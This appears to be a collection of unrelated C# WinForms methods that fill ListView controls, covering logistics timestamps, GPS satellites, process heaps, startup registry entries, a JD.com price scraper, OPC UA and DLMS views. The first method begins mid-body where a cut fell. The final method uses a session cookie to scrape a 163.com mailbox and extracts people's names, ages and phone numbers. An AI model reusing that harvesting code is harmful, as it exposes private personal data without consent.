item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["GarageIn"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["GarageIn"].ToString()); } if (Obj.datTab.Rows[i]["GarageOut"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["GarageOut"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["GarageOut"].ToString()); } if (Obj.datTab.Rows[i]["CustomerIn"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["CustomerIn"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["CustomerIn"].ToString()); } if (Obj.datTab.Rows[i]["StartUnload"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["StartUnload"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["StartUnload"].ToString()); } if (Obj.datTab.Rows[i]["FinishUnload"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["FinishUnload"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["FinishUnload"].ToString()); } if (Obj.datTab.Rows[i]["ReleaseDoc"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["ReleaseDoc"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["ReleaseDoc"].ToString()); } if (Obj.datTab.Rows[i]["CustomerOut"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["CustomerOut"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["CustomerOut"].ToString()); } item.SubItems.Add(Obj.datTab.Rows[i]["CDwell"].ToString()); if (Obj.datTab.Rows[i]["TruckAtGarage"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["TruckAtGarage"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["TruckAtGarage"].ToString()); } if (Obj.datTab.Rows[i]["OfficeReceive"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["OfficeReceive"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["OfficeReceive"].ToString()); } if (Obj.datTab.Rows[i]["DocTransmit"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["DocTransmit"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["DocTransmit"].ToString()); } item.SubItems.Add(Obj.datTab.Rows[i]["DocRem"].ToString()); if (Obj.datTab.Rows[i]["DocReceiveNDC"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["DocReceiveNDC"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["DocReceiveNDC"].ToString()); } if (Obj.datTab.Rows[i]["ReleaseSD"].ToString() != string.Empty) { item.SubItems.Add(DateTime.Parse(Obj.datTab.Rows[i]["ReleaseSD"].ToString()).ToString("MM/dd/yyyy HH:mm")); } else { item.SubItems.Add(Obj.datTab.Rows[i]["ReleaseSD"].ToString()); } item.SubItems.Add(Obj.datTab.Rows[i]["SDNumber"].ToString()); item.SubItems.Add(Obj.datTab.Rows[i]["SDRem"].ToString()); listView1.Items.Add(item); } } catch (Exception ex) { MessageBox.Show(ex.Message); } Obj.CloseConnection(); lblCount.Text = listView1.Items.Count.ToString(); }
private void GpsSatellite(GpsProvider sender, GpsSatelliteEventArgs e) { //Don't want the form to lock up if nothing's happening. System.Threading.Thread.Sleep(200); if (this.IsDisposed) { return; } if (InvokeRequired) { if ((DateTime.Now - lastGpsSatellite).TotalMilliseconds < 200) { return; } BeginInvoke(new GpsSatelliteEventHandler(GpsSatellite), sender, e); return; } lastGpsSatellite = DateTime.Now; List <GpsSatellite> satl = new List <GpsSatellite>(); foreach (GpsSatellite sat in e.Satellites) { if (sat.ID != 0) { satl.Add(sat); } } if ((lblId == null) || (lblId.Length != satl.Count)) { CreateLabels(satl.Count); } int i = 0; lvwSatellites.Items.Clear(); foreach (var sat in satl) { lblId[i].Text = sat.ID.ToString(); lblSnr[i].Tag = sat.SignalToNoiseRatio; lblSnr[i].Text = sat.SignalToNoiseRatio.ToString(); lblSnr[i].BackColor = GetColorFromSnr(sat.SignalToNoiseRatio, sat.Active); lblSnr[i].ForeColor = Color.FromArgb((byte)~lblSnr[i].BackColor.R, (byte)~lblSnr[i].BackColor.G, (byte)~lblSnr[i].BackColor.B); ListViewItem itm = new ListViewItem(new[] { sat.ID.ToString(), sat.SignalToNoiseRatio.ToString(), sat.Active.ToString(), sat.Azimuth.ToString(), sat.Elevation.ToString() }); lvwSatellites.Items.Add(itm); ++i; } PosLabels(); satellites = satl; panPosition.Invalidate(); }
public static void DoCommandLine(string[] args, main win) { //process command line args int i; string str; bool normalLoad = false; str = args[0]; if (str.IndexOf("-a") == -1) { normalLoad = true; } for (i=0; i<args.Length; i++) { str = args[i]; if (normalLoad == false) { if (File.Exists(str)) { bool doItFound = false; Load(str, win); if (normalLoad == false) { foreach(ListViewItem lvi in win.methodBox.Items) { if (lvi.Text == "Do_It") { //move Do_It method to export list ListViewItem export = new ListViewItem(lvi.Text); if (win.exportsType.SelectedIndex == 0) export.SubItems.Add("Cdecl"); else export.SubItems.Add("StdCall"); export.SubItems.Add(lvi.Text); export.SubItems.Add(lvi.SubItems[1].Text); win.exportBox.Items.Add(export); lvi.Remove(); doItFound = true; } } if (doItFound == false) { //Do_It mehod not in dll MessageBox.Show("Do_It method not found!", "dll_tool", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { //save dll as str.new dll.Save(str + ".new", win, true); } } } else { if (str != "-a") MessageBox.Show("*" + str + "*" + "\n\nFile not Found", "dll_tool", MessageBoxButtons.OK, MessageBoxIcon.Error); } } } if (normalLoad == true) { win.Show(); } else { Application.Exit(); } }
public HeapsWindow(int pid, HeapInformation[] heaps) { InitializeComponent(); this.AddEscapeToClose(); this.SetTopMost(); listHeaps.AddShortcuts(); listHeaps.ContextMenu = menuHeap; GenericViewMenu.AddMenuItems(copyMenuItem.MenuItems, listHeaps, null); // Native threads don't work properly on XP. if (OSVersion.IsBelowOrEqual(WindowsVersion.XP)) { destroyMenuItem.Visible = false; } var comparer = new SortedListViewComparer(listHeaps); listHeaps.ListViewItemSorter = comparer; comparer.CustomSorters.Add(1, (l1, l2) => { HeapInformation heap1 = l1.Tag as HeapInformation; HeapInformation heap2 = l2.Tag as HeapInformation; return(heap1.BytesAllocated.CompareTo(heap2.BytesAllocated)); }); comparer.CustomSorters.Add(2, (l1, l2) => { HeapInformation heap1 = l1.Tag as HeapInformation; HeapInformation heap2 = l2.Tag as HeapInformation; return(heap1.BytesCommitted.CompareTo(heap2.BytesCommitted)); }); _pid = pid; IntPtr defaultHeap = IntPtr.Zero; try { using (var phandle = new ProcessHandle( pid, Program.MinProcessQueryRights | Program.MinProcessReadMemoryRights)) defaultHeap = phandle.GetHeap(); } catch (WindowsException) { } long allocatedTotal = 0, committedTotal = 0; int entriesTotal = 0, tagsTotal = 0, pseudoTagsTotal = 0; foreach (HeapInformation heap in heaps) { ListViewItem litem = listHeaps.Items.Add(new ListViewItem( new string[] { Utils.FormatAddress(heap.Address), heap.BytesAllocated.ToString("N0") + " B", heap.BytesCommitted.ToString("N0") + " B", heap.EntryCount.ToString("N0") //heap.TagCount.ToString("N0"), //heap.PseudoTagCount.ToString("N0") })); litem.Tag = heap; // Make the default heap bold. if (heap.Address == defaultHeap) { litem.Font = new Font(litem.Font, FontStyle.Bold); } // Sum everything up. allocatedTotal += heap.BytesAllocated; committedTotal += heap.BytesCommitted; entriesTotal += heap.EntryCount; tagsTotal += heap.TagCount; pseudoTagsTotal += heap.PseudoTagCount; } // Totals row. listHeaps.Items.Add(new ListViewItem( new string[] { "Totals", allocatedTotal.ToString("N0") + " B", committedTotal.ToString("N0") + " B", entriesTotal.ToString("N0") //tagsTotal.ToString("N0"), //pseudoTagsTotal.ToString("N0") })).Tag = new HeapInformation( IntPtr.Zero, allocatedTotal, committedTotal, tagsTotal, entriesTotal, pseudoTagsTotal ); }
/// <summary> /// To Read From windows Registry everything Enabled and Disabled /// </summary> /// <param name="hkey">Root Key LM, CU. CR</param> /// <param name="SubBranch">With disabled entries"LM" Or Environment.UserName</param> /// <param name="Suffix"> Run, RunOnce</param> /// <param name="TrueIfDisabled">if you are calling a disabled Item</param> internal void ReadRegistry(string hkey, string SubBranch, string Suffix, bool TrueIfDisabled) { string TheKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\"; string Status = "Enabled"; if (TrueIfDisabled) { TheKey = @"Software\AlQademoUn\StartEdit\" + SubBranch + @"\"; Status = "Disabled"; } try { switch (hkey) { case "HKEY_LOCAL_MACHINE": GlobalReg = Registry.LocalMachine.OpenSubKey(TheKey + Suffix, true); break; case "HKEY_CURRENT_USER": GlobalReg = Registry.CurrentUser.OpenSubKey(TheKey + Suffix, true); break; case "HKEY_CLASSES_ROOT": GlobalReg = Registry.ClassesRoot.OpenSubKey(TheKey + Suffix, true); break; } if (GlobalReg.ValueCount != 0) { foreach (string SingleIt in GlobalReg.GetValueNames()) { GlobalString = GlobalReg.GetValue(SingleIt, "Error").ToString(); GlobalEntry = new ListViewItem(); GlobalEntry.ImageIndex = GlobalImageCounter; GlobalImageLarg.Images.Add(Icon.FromHandle(GlobalGet.AHandle(GlobalString))); GlobalImageSmall.Images.Add(GlobalImageLarg.Images[GlobalImageCounter]); GlobalEntry.Text = SingleIt; //Name GlobalEntry.SubItems.Add(GlobalString); // Data GlobalEntry.SubItems.Add(hkey); // Hive GlobalEntry.SubItems.Add(Suffix); // Type GlobalEntry.SubItems.Add(Status); // Status GlobalEntry.SubItems.Add(/* GlobalReg.Name */ TheKey + Suffix); // Full Key Path GlobalView.Items.Add(GlobalEntry); GlobalImageCounter++; } GlobalReg.Close(); } } catch (InvalidOperationException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( hkey + "\\" + TheKey + Suffix + "\n" + MyEx.Message.Trim() ); } catch (System.Security.SecurityException MyExp) { MessageBox.Show ("An error returned while trying to access \n" + hkey + "\\" + TheKey + Suffix + "\n" + "Error is " + MyExp.Message + "\n" + "Startup Editor requires an administrartor privileges to run properly", "Access is denied"); return; } catch (ArgumentNullException MyEx) { //MyEx.Message.Trim(); MessageBox.Show(hkey + "\\" + TheKey + Suffix + "\n" + MyEx.Message.Trim()); } catch (NullReferenceException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( hkey + "\\" + TheKey + Suffix + "\n" + MyEx.Message.Trim() ); } catch (Exception MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( hkey + "\\" + TheKey + Suffix + "\n" + MyEx.Message.Trim() ); } }
public void run() { try { for (int i = 0; i < 400; i = i + 20) { string url = "https://list.jd.com/list.html?cat=737,794,870"; string html = method.GetUrl(url, "utf-8"); MatchCollection goodids = Regex.Matches(html, @"<img data-sku=""([\s\S]*?)"""); for (int j = 0; j < goodids.Count; j++) { string URL = "https://item.jd.com/" + goodids[j].Groups[1].Value + ".html"; string strhtml = method.GetUrl(URL, "utf-8"); Match shopid = Regex.Match(strhtml, @"data-vid=""([\s\S]*?)"""); Match hangye = Regex.Match(strhtml, @"mbNav-3"">([\s\S]*?)<"); MatchCollection items = Regex.Matches(strhtml, @"compare\/([\s\S]*?)-([\s\S]*?)-"); StringBuilder sb = new StringBuilder(); for (int a = 0; a < items.Count; a++) { sb.Append("J_" + items[a].Groups[2].Value + ","); } string priceUrl = "https://p.3.cn/prices/mgets?skuIds=" + sb.ToString() + "&type=1&callback=jsonp1557817529049&_=1557817529050"; MatchCollection pricees = Regex.Matches(strhtml, @"""p"":""([\s\S]*?)"""); for (int b = 0; b < pricees.Count; b++) { ListViewItem listViewItem = this.listView1.Items.Add((listView1.Items.Count + 1).ToString()); listViewItem.SubItems.Add(items[b].Groups[2].Value); listViewItem.SubItems.Add(pricees[b].Groups[1].Value); } } //MatchCollection goodids = Regex.Matches(html, @"<img data-sku=""([\s\S]*?)"""); //ListViewItem listViewItem = this.listView1.Items.Add((listView1.Items.Count + 1).ToString()); //listViewItem.SubItems.Add(URL); //if (this.listView1.Items.Count > 2) //{ // this.listView1.EnsureVisible(this.listView1.Items.Count - 1); //} //Application.DoEvents(); //Thread.Sleep(1000); } } catch (Exception ex) { MessageBox.Show(ex.ToString()); } }
/// <summary> /// Populates the form with the appropriate data. /// </summary> /// <param name="listView"></param> /// <param name="viewMode"></param> private void PopulateForm(ListView listView, ViewMode viewMode) { listView.View = View.Details; listView.FullRowSelect = true; listView.AllowColumnReorder = true; listView.Sorting = SortOrder.None; listView.HeaderStyle = ColumnHeaderStyle.Clickable; labelInstructions.Text = "You can delete a " + viewMode.ToString().Substring(0, viewMode.ToString().Length - 1) + " by checking its box on the left and pressing the 'Delete' button."; switch (viewMode) { case ViewMode.Users: panelMain.GradientColorOne = Color.LightGreen; panelMain.GradientColorTwo = Color.SeaGreen; listView.Columns.Add("", 22, HorizontalAlignment.Center); // For the Delete checkbox listView.Columns.Add("Username ", 90, HorizontalAlignment.Left); listView.Columns.Add("First Name ", 90, HorizontalAlignment.Left); listView.Columns.Add("Last Name ", 90, HorizontalAlignment.Left); listView.Columns.Add("Creation Date ", 100, HorizontalAlignment.Left); listView.Columns.Add("Creation Time ", 100, HorizontalAlignment.Left); foreach (_User user in SysInfo.Data.Users) { ListViewItem item = new ListViewItem(); if (user.Name == SysInfo.Data.Options.PrimaryUser) { item.ForeColor = Color.Blue; } item.Text = ""; item.SubItems.AddRange(new string[] { user.Name, user.FirstName, user.LastName, user.CreationDate.ToShortDateString(), user.CreationDate.ToShortTimeString() }); listView.Items.Add(item); } buttonDelete.Text = "Delete Selected Users"; buttonDelete.Enabled = false; break; case ViewMode.Devices: panelMain.GradientColorOne = Color.Lavender; panelMain.GradientColorTwo = Color.MediumSlateBlue; listView.Columns.Add("", 22, HorizontalAlignment.Center); // For the Delete checkbox listView.Columns.Add("Primary User ", 75, HorizontalAlignment.Left); listView.Columns.Add("OS Version ", 75, HorizontalAlignment.Left); listView.Columns.Add("PP Version ", 100, HorizontalAlignment.Left); listView.Columns.Add("Last Update ", 120, HorizontalAlignment.Left); listView.Columns.Add("Last Sync ", 120, HorizontalAlignment.Left); foreach (_Device device in SysInfo.Data.Devices) { ListViewItem item = new ListViewItem(); item.Text = ""; item.SubItems.AddRange(new string[] { device.PrimaryUser, device.OSVersion, device.SoftwareVersion, device.LastUpdate.ToShortDateString() + " " + device.LastUpdate.ToShortTimeString(), device.LastSync.ToShortDateString() + " " + device.LastSync.ToShortTimeString() }); listView.Items.Add(item); } buttonDelete.Text = "Delete Selected Devices"; buttonDelete.Enabled = false; break; default: Debug.Fail("Unaccounted for ViewMode: " + viewMode.ToString(), "frmView.PopulateForm"); break; } this.Text = "View " + viewMode.ToString(); int totWidth = 0; for (int i = 0; i < listView.Columns.Count; i++) { totWidth += listView.Columns[i].Width + 2; } this.Width = listView.Left * 2 + totWidth + 2; this.Height = Screen.PrimaryScreen.WorkingArea.Height / 2; int minHgt = (int)(SysInfo.Data.Users.Count * listView.Font.Height * 1.3 + 150); minHgt = Math.Min(this.Height, minHgt); this.MinimumSize = new Size(this.Width, minHgt); this.Show(); }
/// <summary> /// Reads the attributes for the node. /// </summary> public void ReadAttributes(NodeId nodeId, bool showProperties) { AttributesLV.Items.Clear(); if (NodeId.IsNull(nodeId)) { return; } // build list of attributes to read. ReadValueIdCollection nodesToRead = new ReadValueIdCollection(); foreach (uint attributeId in Attributes.GetIdentifiers()) { ReadValueId nodeToRead = new ReadValueId(); nodeToRead.NodeId = nodeId; nodeToRead.AttributeId = attributeId; nodesToRead.Add(nodeToRead); } // read the attributes. DataValueCollection results = null; DiagnosticInfoCollection diagnosticInfos = null; m_session.Read( null, 0, TimestampsToReturn.Neither, nodesToRead, out results, out diagnosticInfos); ClientBase.ValidateResponse(results, nodesToRead); ClientBase.ValidateDiagnosticInfos(diagnosticInfos, nodesToRead); // add the results to the display. for (int ii = 0; ii < results.Count; ii++) { // check for error. if (StatusCode.IsBad(results[ii].StatusCode)) { if (results[ii].StatusCode == StatusCodes.BadAttributeIdInvalid) { continue; } } // add the metadata for the attribute. uint attributeId = nodesToRead[ii].AttributeId; ListViewItem item = new ListViewItem(Attributes.GetBrowseName(attributeId)); item.SubItems.Add(Attributes.GetBuiltInType(attributeId).ToString()); if (Attributes.GetValueRank(attributeId) >= 0) { item.SubItems[0].Text += "[]"; } // add the value. if (StatusCode.IsBad(results[ii].StatusCode)) { item.SubItems.Add(results[ii].StatusCode.ToString()); } else { item.SubItems.Add(ClientUtils.GetAttributeDisplayText(m_session, attributeId, results[ii].WrappedValue)); } item.Tag = new AttributeInfo() { NodeToRead = nodesToRead[ii], Value = results[ii] }; item.ImageIndex = ClientUtils.GetImageIndex(nodesToRead[ii].AttributeId, results[ii].Value); // display in list. AttributesLV.Items.Add(item); } if (showProperties) { ReadProperties(nodeId); } // set the column widths. for (int ii = 0; ii < AttributesLV.Columns.Count; ii++) { AttributesLV.Columns[ii].Width = -2; } }
public ExportStudentV2(string title, Image img) { InitializeComponent(); _Title = this.Text = title; foreach (WizardPage page in wizard1.WizardPages) { page.PageTitle = _Title; if (img != null) { Bitmap b = new Bitmap(48, 48); using (Graphics g = Graphics.FromImage(b)) g.DrawImage(img, 0, 0, 48, 48); page.PageHeaderImage = b; } } #region 加入進階跟HELP按鈕 _OptionsContainer = new PanelEx(); _OptionsContainer.Font = this.Font; _OptionsContainer.ColorSchemeStyle = eDotNetBarStyle.Office2007; _OptionsContainer.Size = new Size(100, 100); _OptionsContainer.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; _OptionsContainer.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; _OptionsContainer.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; _OptionsContainer.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; _OptionsContainer.Style.GradientAngle = 90; _Options = new SmartSchool.API.PlugIn.Collections.OptionCollection(); _Options.ItemsChanged += new EventHandler(_Options_ItemsChanged); advContainer = new ControlContainerItem(); advContainer.AllowItemResize = false; advContainer.GlobalItem = false; advContainer.MenuVisibility = eMenuVisibility.VisibleAlways; advContainer.Control = _OptionsContainer; ItemContainer itemContainer2 = new ItemContainer(); itemContainer2.LayoutOrientation = DevComponents.DotNetBar.eOrientation.Vertical; itemContainer2.MinimumSize = new System.Drawing.Size(0, 0); itemContainer2.SubItems.AddRange(new DevComponents.DotNetBar.BaseItem[] { advContainer }); advButton = new ButtonX(); advButton.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; advButton.Text = " 進階"; advButton.Top = this.wizard1.Controls[1].Controls[0].Top; advButton.Left = 5; advButton.Size = this.wizard1.Controls[1].Controls[0].Size; advButton.Visible = true; advButton.SubItems.Add(itemContainer2); advButton.PopupSide = ePopupSide.Top; advButton.SplitButton = true; advButton.Enabled = false; advButton.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; advButton.AutoExpandOnClick = true; advButton.SubItemsExpandWidth = 16; advButton.FadeEffect = false; advButton.FocusCuesEnabled = false; this.wizard1.Controls[1].Controls.Add(advButton); helpButton = new LinkLabel(); helpButton.AutoSize = true; helpButton.BackColor = System.Drawing.Color.Transparent; helpButton.Location = new System.Drawing.Point(81, 10); helpButton.Size = new System.Drawing.Size(69, 17); helpButton.TabStop = true; helpButton.Text = "Help"; //helpButton.Top = this.wizard1.Controls[1].Controls[0].Top + this.wizard1.Controls[1].Controls[0].Height - helpButton.Height; //helpButton.Left = 150; helpButton.Visible = false; helpButton.Click += delegate { if (HelpButtonClick != null) { HelpButtonClick(this, new EventArgs()); } }; helpButton.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; this.wizard1.Controls[1].Controls.Add(helpButton); #endregion #region 設定Wizard會跟著Style跑 //this.wizard1.FooterStyle.ApplyStyle(( GlobalManager.Renderer as Office2007Renderer ).ColorTable.GetClass(ElementStyleClassKeys.RibbonFileMenuBottomContainerKey)); this.wizard1.HeaderStyle.ApplyStyle((GlobalManager.Renderer as Office2007Renderer).ColorTable.GetClass(ElementStyleClassKeys.RibbonFileMenuBottomContainerKey)); this.wizard1.FooterStyle.BackColorGradientAngle = -90; this.wizard1.FooterStyle.BackColorGradientType = eGradientType.Linear; this.wizard1.FooterStyle.BackColor = (GlobalManager.Renderer as Office2007Renderer).ColorTable.RibbonBar.Default.TopBackground.Start; this.wizard1.FooterStyle.BackColor2 = (GlobalManager.Renderer as Office2007Renderer).ColorTable.RibbonBar.Default.TopBackground.End; this.wizard1.BackColor = (GlobalManager.Renderer as Office2007Renderer).ColorTable.RibbonBar.Default.TopBackground.Start; this.wizard1.BackgroundImage = null; for (int i = 0; i < 6; i++) { (this.wizard1.Controls[1].Controls[i] as ButtonX).ColorTable = eButtonColor.OrangeWithBackground; } (this.wizard1.Controls[0].Controls[1] as System.Windows.Forms.Label).ForeColor = (GlobalManager.Renderer as Office2007Renderer).ColorTable.RibbonBar.MouseOver.TitleText; (this.wizard1.Controls[0].Controls[2] as System.Windows.Forms.Label).ForeColor = (GlobalManager.Renderer as Office2007Renderer).ColorTable.RibbonBar.Default.TitleText; #endregion this.checkBox1.ForeColor = (GlobalManager.Renderer as Office2007Renderer).ColorTable.CheckBoxItem.Default.Text; listViewEx1.ForeColor = (GlobalManager.Renderer as Office2007Renderer).ColorTable.CheckBoxItem.Default.Text; //_AccessHelper = new AccessHelper(); _CheckAllManager.TargetComboBox = this.checkBox1; _CheckAllManager.TargetListView = this.listViewEx1; advButton.PopupOpen += delegate { if (ControlPanelOpen != null) { ControlPanelOpen(this, new EventArgs()); } }; advButton.PopupClose += delegate { if (ControlPanelClose != null) { ControlPanelClose(this, new EventArgs()); } }; _ExportableFields = new SmartSchool.API.PlugIn.Collections.FieldsCollection(); _SelectedFields = new SmartSchool.API.PlugIn.Collections.FieldsCollection(); _ExportableFields.ItemsChanged += delegate { List <string> uncheckItems = new List <string>(); foreach (ListViewItem item in listViewEx1.Items) { if (item != null && item.Checked == false) { uncheckItems.Add(item.Text); } } listViewEx1.Items.Clear(); List <string> newFields = new List <string>(new string[] { "學生系統編號", "學號", "班級", "座號", "科別", "姓名" }); //newFields.AddRange(_Process.ExportableFields); foreach (string field in _ExportableFields) { if (!newFields.Contains(field)) { newFields.Add(field); } } List <ListViewItem> items = new List <ListViewItem>(); foreach (string var in newFields) { ListViewItem item = new ListViewItem(var); item.Checked = !uncheckItems.Contains(var); items.Add(item); } listViewEx1.Items.AddRange(items.ToArray()); listViewEx1_ItemChecked(null, null); }; }
public void OnValueChanged(GXDLMSViewArguments arg) { GXDLMSAccount target = Target as GXDLMSAccount; if (arg.Index == 2) { try { PaymentModeCb.SelectedIndexChanged -= new System.EventHandler(AccountStatusCb_SelectedIndexChanged); AccountStatusCb.SelectedIndexChanged -= new System.EventHandler(AccountStatusCb_SelectedIndexChanged); PaymentModeCb.SelectedItem = target.PaymentMode; AccountStatusCb.SelectedItem = target.AccountStatus; } finally { PaymentModeCb.SelectedIndexChanged += new System.EventHandler(AccountStatusCb_SelectedIndexChanged); AccountStatusCb.SelectedIndexChanged += new System.EventHandler(AccountStatusCb_SelectedIndexChanged); } } else if (arg.Index == 9) { CreditReferenceView.Items.Clear(); if (target.CreditReferences != null) { foreach (string it in target.CreditReferences) { CreditReferenceView.Items.Add(it); } } } else if (arg.Index == 10) { ChargeReferenceView.Items.Clear(); if (target.ChargeReferences != null) { foreach (string it in target.ChargeReferences) { ChargeReferenceView.Items.Add(it); } } } else if (arg.Index == 11) { CreditChargeView.Items.Clear(); if (target.CreditChargeConfigurations != null) { foreach (GXCreditChargeConfiguration it in target.CreditChargeConfigurations) { ListViewItem li = CreditChargeView.Items.Add(it.CreditReference); li.SubItems.Add(it.ChargeReference); li.SubItems.Add(it.CollectionConfiguration.ToString()); li.Tag = it; } } } else if (arg.Index == 12) { TokenGatewayView.Items.Clear(); if (target.TokenGatewayConfigurations != null) { foreach (GXTokenGatewayConfiguration it in target.TokenGatewayConfigurations) { ListViewItem li = TokenGatewayView.Items.Add(it.CreditReference); li.SubItems.Add(it.TokenProportion.ToString()); li.Tag = it; } } } else if (arg.Index == 15) { CurrencyNameTb.Text = target.Currency.Name; CurrencyScaleTb.Text = target.Currency.Scale.ToString(); CurrencyUnitTb.SelectedItem = target.Currency.Unit; } else { throw new IndexOutOfRangeException("index"); } }
/// <summary> /// 主程序 /// </summary> public void run() { if (checkBox7.Checked == false) { dateTimePicker1.Value = DateTime.Now.AddYears(-99); dateTimePicker2.Value = DateTime.Now.AddYears(99); } for (int i = 0; i < Convert.ToInt32(textBox3.Text); i++) { int start = i * 30; string url = "https://mail.163.com/js6/s?sid=" + sid + "&func=mbox:listMessages&mbox_pager_next=1"; string postdata = "var=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cobject%3E%3Cint%20name%3D%22fid%22%3E1%3C%2Fint%3E%3Cstring%20name%3D%22order%22%3Edate%3C%2Fstring%3E%3Cboolean%20name%3D%22desc%22%3Etrue%3C%2Fboolean%3E%3Cint%20name%3D%22limit%22%3E30%3C%2Fint%3E%3Cint%20name%3D%22start%22%3E" + start + "%3C%2Fint%3E%3Cboolean%20name%3D%22skipLockedFolders%22%3Efalse%3C%2Fboolean%3E%3Cstring%20name%3D%22topFlag%22%3Etop%3C%2Fstring%3E%3Cboolean%20name%3D%22returnTag%22%3Etrue%3C%2Fboolean%3E%3Cboolean%20name%3D%22returnTotal%22%3Etrue%3C%2Fboolean%3E%3C%2Fobject%3E"; string html = PostUrl(url, postdata, COOKIE, "utf-8"); MatchCollection aids = Regex.Matches(html, @"<string name=""id"">([\s\S]*?)</string>"); MatchCollection titles = Regex.Matches(html, @"<string name=""subject"">([\s\S]*?)</string>"); MatchCollection times = Regex.Matches(html, @"<date name=""receivedDate"">([\s\S]*?)</date>"); MatchCollection yidus = Regex.Matches(html, @"<object name=""flags([\s\S]*?)</object>"); if (aids.Count == 0) { break; } for (int j = 0; j < aids.Count; j++) { bool yiduweidu = true; if (checkBox3.Checked == false && !yidus[j].Groups[1].Value.Contains("read")) { yiduweidu = false; } if (checkBox8.Checked == false && yidus[j].Groups[1].Value.Contains("read")) { yiduweidu = false; } try { if (yiduweidu) { string aurl = "https://mail.163.com/js6/read/readhtml.jsp?mid=" + aids[j].Groups[1].Value + "&userType=ud"; string ahtml = GetUrl(aurl); Match name = Regex.Match(ahtml, @"font-weight:normal;"">([\s\S]*?)<"); Match age = Regex.Match(ahtml, @">(([\s\S]*?))"); Match tel = Regex.Match(ahtml, @"手机号码:([\s\S]*?)</span>"); if (name.Groups[1].Value != "") { string nianling = age.Groups[1].Value.Replace("女", "").Replace("男", "").Replace(",", "").Replace("岁", ""); if (Convert.ToInt32(nianling) > Convert.ToInt32(textBox1.Text) && Convert.ToInt32(nianling) < Convert.ToInt32(textBox2.Text)) { if (Convert.ToDateTime(times[j].Groups[1].Value) > dateTimePicker1.Value && Convert.ToDateTime(times[j].Groups[1].Value) < dateTimePicker2.Value) { if (comboBox1.Text == "全部性别") { total = total + 1; toolStripStatusLabel2.Text = total.ToString(); ListViewItem lv1 = listView1.Items.Add((listView1.Items.Count + 1).ToString()); //使用Listview展示数据 lv1.SubItems.Add(name.Groups[1].Value); lv1.SubItems.Add(age.Groups[1].Value); lv1.SubItems.Add(Regex.Replace(tel.Groups[1].Value, "<[^>]+>", "")); lv1.SubItems.Add(titles[j].Groups[1].Value); lv1.SubItems.Add(times[j].Groups[1].Value); } else { if (age.Groups[1].Value.Contains(comboBox1.Text.Trim())) { total = total + 1; toolStripStatusLabel2.Text = total.ToString(); ListViewItem lv1 = listView1.Items.Add((listView1.Items.Count + 1).ToString()); //使用Listview展示数据 lv1.SubItems.Add(name.Groups[1].Value); lv1.SubItems.Add(age.Groups[1].Value); lv1.SubItems.Add(Regex.Replace(tel.Groups[1].Value, "<[^>]+>", "")); lv1.SubItems.Add(titles[j].Groups[1].Value); lv1.SubItems.Add(times[j].Groups[1].Value); } else { toolStripStatusLabel2.Text = "不符合性别要求"; } } } else { toolStripStatusLabel2.Text = "不符合时间要求"; } } else { toolStripStatusLabel2.Text = "不符合年龄要求"; } } Thread.Sleep(1000); while (this.zanting == false) { Application.DoEvents(); //如果loader是false表明正在加载,,则Application.DoEvents()意思就是处理其他消息。阻止当前的队列继续执行。 } if (status == false) { return; } } else { toolStripStatusLabel2.Text = "不符合已读未读筛选"; } } catch (Exception) { continue; } } } MessageBox.Show("抓取结束"); }
